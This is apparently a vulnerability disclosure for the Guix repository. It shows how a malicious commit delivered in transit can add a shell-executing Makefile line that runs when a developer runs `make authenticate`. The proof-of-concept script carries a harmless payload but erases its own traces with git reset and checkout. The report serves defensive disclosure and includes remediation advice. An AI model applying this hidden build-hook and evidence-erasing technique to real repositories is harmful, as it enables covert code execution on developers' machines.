# Overview
An attacker who has control of Savannah, or the ability to intercept and modify data in
flight, and knowledge of the target's checkout location can achieve arbitrary code
execution on a developer's machine.

The attacker would do this by adding a malicious commit when sending updates to the
developer (note that the attacker could add this commit as the data is being sent out, so
does not need to modify the git repository on-disk). In my proof of concept, the commit
removes `Makefile` from `.gitignore`, adds malicious code to the `Makefile`, and cleans
itself up after it runs. There might be a sneakier way to do this.

# Remediation

Remove the `authenticate` target from the `Makefile` and run `guix git authenticate`
externally after pulling.

# Limitations
When pulling git reports that the Makefile has been added, with a large number of lines
added. Depending on the attentiveness of the developer and the number of commits they are
pulling (eg, the amount of visual noise on the screen), this could cause the developer
to be suspicious. There could also be a sneakier way to do this. I modified the Makefile
directly because it was convenient. The PoC is just to demonstrate technical feasibility,
not to implement a realistic attack.

Even with the limitations of the Makefile, the possibility of human error still makes this
form of the attack concerning in my view. Running `guix git authenticate` externally
eliminates the possibility that human error will cause an attack to be successful, and
does not require much effort to implement.

If the attacker does use the Makefile, they will need to know the path to the repository
on the developer's machine because it is hardcoded into variable definitions, such as the
AUTOCONF variable on line 1601 (on my machine). While repeated in multiple places, this is
the only unique piece of data which I noticed that was machine-specific. However, my
review of the Makefile was brief and I have no experience writing autotools scripts, so I
might be overlooking something.

# Proof of Concept

## Setup

Create 2 copies of your guix checkout for use in the demonstration:

```
cp /path/to/guix /tmp/malicious-guix
cp /path/to/guix /tmp/target-guix
```

## Prepare the malicious commit

(note that I am not providing the malicious commit as a diff because this would not work
on your machine)

Then, in `/tmp/malicious-guix`, add a file with the following contents:

```
echo Here, the attacker installs a backdoor or does something else malicious.
touch /tmp/malicious-artifact
echo Next, they revert the changes that the commit made.
# Adjust the gitignore so that Makefile doesn't get deleted, and remove the evidence from
# Makefile manually.
sed -i 's/#Makefile/Makefile/' .gitignore
sed -i 's/UNUSED_VARIABLE.*//' Makefile
git reset --soft HEAD^ >/dev/null 2>/dev/null
git restore --staged . >/dev/null 2>/dev/null
git checkout .         >/dev/null 2>/dev/null
rm malicious-script.sh >/dev/null 2>/dev/null
echo Now, there is no indication that an attack occurred, except for any artifacts that the payload left behind.
```

Comment out `Makefile` in `.gitignore` and add the following line to `Makefile`:

`UNUSED_VARIABLE := $(shell /bin/sh malicious-script.sh)`

Add them to a new commit (note that there will be a couple of other `Makefile`s which are
picked up by `git`, but only the top-level `Makefile` is required for the PoC to work).

```
git add Makefile .gitignore malicious-script.sh
git commit -m "MALICIOUS COMMIT DO NOT USE"
```

## Trigger the attack

Now, pull the malicious commit and try to authenticate it.

```
cd /tmp/target-guix
git pull ../malicious-guix
guix shell -D guix guix make --pure -- make authenticate
```

The output will look like normal `make authenticate` output. `git log` will only show the
real commits and `git status` will not show any changes to the local filesystem. However,
the script will create the empty file `/tmp/malicious-artifact`
